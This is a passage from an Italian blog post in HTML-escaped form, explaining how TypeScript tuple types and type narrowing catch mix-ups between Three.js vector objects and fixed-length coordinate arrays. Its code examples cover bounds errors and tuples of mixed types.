Nominal typing, consiglio la lettura di questo &lt;a href=&quot;https://michalzalecki.com/nominal-typing-in-typescript/&quot;&gt;articolo&lt;/a&gt; e di questa &lt;a href=&quot;https://github.com/kourge/ts-brand&quot;&gt;libreria&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;3--array-a-dimensione-costante-coordinate-xyz&quot;&gt;3. 📌 Array a dimensione costante: Coordinate XYZ&lt;/h1&gt;&lt;p&gt;In SMC amiamo la grafica 3D, soprattutto sul Web. Il problema è che, usando diverse librerie grafiche come &lt;a href=&quot;https://threejs.org/&quot;&gt;Three.JS&lt;/a&gt; e &lt;a href=&quot;https://github.com/react-spring/react-three-fiber&quot;&gt;react-three-fiber&lt;/a&gt;, non tutte gestiscono le coordinate allo stesso modo.&lt;/p&gt;&lt;p&gt;Mentre per alcune sono oggetti con campi x, y e z, in altre librerie troviamo le coordinate rappresentate come array a tre elementi:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Variante con oggetti (THREE.Vector3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;z:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Variante con Array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Nel momento in cui alcune funzioni si aspettano array come parametri e altre oggetti è molto facile sbagliarsi, producendo errori in console dalla non immediata comprensione:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Abbiano i nostri punti, provenienti magari da un servizio&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Vector2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Vector2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Questo usa oggetti&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;curve&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;SplineCurve&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Questo usa array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;moveTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;lineTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// 26.925824035672584&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// se invece passiamo oggetti...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;moveTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;lineTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// NaN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// What? 😳 🤯&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Fortunatamente TypeScript è stato pensato apposta per risolvere questo tipo di problemi, e semplicemente attivandolo sul codice trova immediatamente l&amp;#x27;errore. Questo perchè Three.JS ha i &lt;strong&gt;typings&lt;/strong&gt; che consentono di verificare la correttezza dei parametri delle funzioni.&lt;/p&gt;&lt;p&gt;La faccenda si fa più complicata, però, quando vogliamo utilizzare gli &lt;strong&gt;array&lt;/strong&gt; per rappresentare coordinate. Mentre TypeScript può facilmente verificare la presenza dei campi &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt; e &lt;code&gt;z&lt;/code&gt; su un oggetto, quando accediamo ad un array con la notazione &lt;code&gt;arr[N]&lt;/code&gt; rischiamo di leggere valori non presenti.&lt;/p&gt;&lt;p&gt;TypeScript, infatti, non effettua bound checking sugli array, dato che dipende da informazioni a run-time. Tutti gli array rappresentati come &lt;code&gt;T[]&lt;/code&gt; non hanno bound checking, e gli array literal sono interpretati di default in questo modo.&lt;/p&gt;&lt;p&gt;Possiamo ottenere un controllo migliore grazie al &lt;em&gt;Type Narrowing&lt;/em&gt;, ossia forzare un tipo più stretto:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointA&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// number[]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Nessun bound checking 😕&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointA&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// undefined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Forziamo (narrowing) il tipo ad un array composto da tre number&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointB&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Ci viene segnalato l&amp;#x27;errore 🥳&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointB&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Per evitare di scrivere più volte lo stesso tipo, possiamo anche utilizzare un alias&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointC&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=8&amp;amp;pc=26#code/MYewdgzgLgBADiAlmKBBGBeGBtAjAJgBoYBmYgDgF0BuGAejpjAFcBbAIwFMAnbSgWABQQhjABynCBGZgY7EDIAmMYAAtOwANbIA5jEC8G4FQ9oaEggANpwB05kDoAUCZGmwAWSgEp6jJZwBmyJyKQiGCogBiINwAXogAhqwgMPZgcdzcIADuul6I5jBQiAgwccoyJelxAJ4qIKwI0EmKcQXcnExsXNwm4NDwSCgAQgBcOCwcPMTjXVOdPJSYOATEZDBU1KGiAMKIMABuiJxg7RCcOqnmcVBJ5gDkPBltMIB8G4DOuz1mljZ2jgNQg25PJtGAAFHgwTgHKBpdqKXYQYDcRB7HjtOCIACf+wsUHathg0EkECShQQxAaEHiiRKYDU7WYhXMiGi0RhMHKcSZcQgQigVTg7RBf0W2Gmkw6E24s0lNA+fScKC2oyFzhFy1IFBoQA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Come abbiamo specificato il tipo di un array composto da N elementi uguali, nulla ci impedisce di fare lo stesso anche con tipi diversi:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// Possiamo utilizzare anche tipi diversi, andando a formare tuple&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// tuple[0] è un numero, tutto apposto&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// tuple[2] è una stringa, e di conseguenza otteniamo un errore&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=8&amp;amp;pc=26#code/PTAEAUHsGdoSwIYFtKgK4Bc4Bs4C88EAnAU1AQDsBjACzKwAc5QATOANxKPgBpyKWlFqgSgAZpCJJi9NA2wkAsACgqkCtAygMchQC5QAbQpokAIy58T5y6E1E4FAOYBdUAF4jARgBMfAMx8AEQYJJpBLgDcKiog2rokhgAMbgAX6BSg1lyQfDoYGCIMDDCFKmoakAoAdNiQTgAUOvKJKaAAtKAArACUMcpxzQqGPmkZovaOTgh8ZGygFdAkTmgkFISgkAVriCgZoFxEkkqq6tBVJLX1TQkjbp29QA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Se però i dati che andiamo a trattare non sono costanti, ma ad esempio provengono da un servizio o da un file, non possiamo effettuare un cast usando &lt;code&gt;as&lt;/code&gt;, dato che sarebbe pericoloso: non sappiamo che dati possono arrivarci. Per ottenere ancora più sicurezza possiamo combinare un controllo a runtime con una &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/advanced-types.html#user-defined-type-guards&quot;&gt;Type Guard&lt;/a&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// La funzione ritorna true se il parametro è un Point&lt;/span&gt;&lt;/span&gt;
